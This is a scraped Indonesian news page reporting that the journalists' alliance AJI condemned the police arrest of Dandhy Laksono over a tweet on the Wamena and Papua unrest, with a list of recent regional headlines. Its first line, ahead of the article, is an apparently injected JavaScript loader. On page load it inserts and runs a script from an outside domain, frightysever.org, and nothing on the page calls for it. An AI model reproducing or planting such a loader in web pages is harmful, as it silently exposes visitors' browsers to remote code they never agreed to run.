(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

AJI: Penangkapan Dandhy Laksono Bertentangan dengan Kebebasan Berekspresi


JAKARTA, Aliansi Jurnalis Independen (AJI) mengkritik penangkapan Dandhy Laksono oleh kepolisian. AJI menilai penangkapan Dandhy tidak berdasar.

“Penangkapan terhadap Dandhy ini bertentangan dengan kebebasan berekspresi dan berpendapat yang dijamin oleh konstitusi Indonesia,” ujar Sekjen AJI Indonesia, Revolusi Riza, dalam keterangannya, Jumat (27/9).

Berdasarkan kronologis YLBHI, Dandhy pada mulanya tiba di rumah sekitar pukul 22.30 WIB, Kamis (26/9). Selang 15 menit kemudian datang polisi menggedor-gedor rumah Dandhy membawa surat penangkapan. Polisi menangkap Dhandy karena cuitannya soal Papua yang diduga telah menimbulkan rasa kebencian, permusuhan individu dan atau kelompok masyarakat tertentu berdasarkan suku, agama, ras dan antargolongan (SARA).

Dandhy kini sudah dipulangkan. Namun AJI tetap meminta polisi membebaskan Dandhy dari segala tuntutan hukum. “Mendesak Polda Metro Jaya melepaskan Dandhy dengan segera dan membebaskannya dari segala tuntutan hukum,” ujar Riza.

Pihak pengacara sebelumnya mengatakan, Dandhy dilaporkan oleh polisi atas cuitannya. Saat diperiksa, Dandhy dicecar 44 pertanyaan.

“Ada sekitar 44 pertanyaan yang diajukan penyidik krimsus Polda Metro Jaya dan kasusnya ada karena laporan dari polisi sendiri tipe A, pelapor dari polisi,” ujar kuasa hukum Dandhy, Alghiffary Aqsa, saat dihubungi detik.com, Jumat (27/9).

Polda Metro Jaya belum memberi pernyataan mengenai kasus yang menjerat Dandhy.

Dandhy Laksono sempat ditangkap Polda Metro Jaya dan berstatus sebagai tersangka. Dandhy menjadi tersangka atas cuitannya soal rusuh di Wamena. “Twit 22 September terkait insiden di Jayapura dan Wamena. Hanya 1 twit yang dimasalahkan Polda Metro,” kata kuasa hukum Dandhy, Alghiffary Aqsa.

Kini, Dandhy sudah diperbolehkan pulang meski tetap berstatus tersangka. Dandhy ditangkap karena diduga melanggar Pasal 28 ayat (2), jo Pasal 45 A ayat (2) UU No.8 tahun 2016 tentang Informasi dan Transaksi Elektronik (ITE) dan/atau Pasal 14 dan Pasal 15 No.1 tahun 1946 tentang hukum pidana.

“Sudah diperbolehkan pulang tapi masih tersangka. Ada sekitar 44 pertanyaan yang diajukan penyidik krimsus Polda Metro Jaya dan kasusnya ada karena laporan dari polisi sendiri tipe A, pelapor dari polisi,” ujar Alghif.

Politikus PDIP Budiman Sudjatmiko juga membenarkan kabar dipulangkannya Dandhy. Ia sempat mendatangi Polda Metro saat Dandhy ditangkap. “Dandhy sudah pulang, tadinya saya dan teman-teman dari KontraS, dan lain-lain datang. Tadi malam saya dikasih tahu lewat WA, apakah benar Dandhy ditangkap terkait debat soal Papua dengan saya. Saya jelaskan dengan polisi terkait debat, ternyata tidak ada hubungan dengan debat,” ucap Budiman.

Dandhy ditangkap pada hari Kamis (26/9) malam. Ia ditangkap di kediamannya di Pondok Gede, Bekasi. (dkp/dtc)

Reporter : Dkp/dtc
Editor : Chell


Desy Arfianty

Recent Posts

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

9 menit ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

26 menit ago

Satpol PP Banjar Dapati 7 Penjual Anakan Ikan

KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More

38 menit ago

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

52 menit ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

13 jam ago

Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More

14 jam ago

This website uses cookies.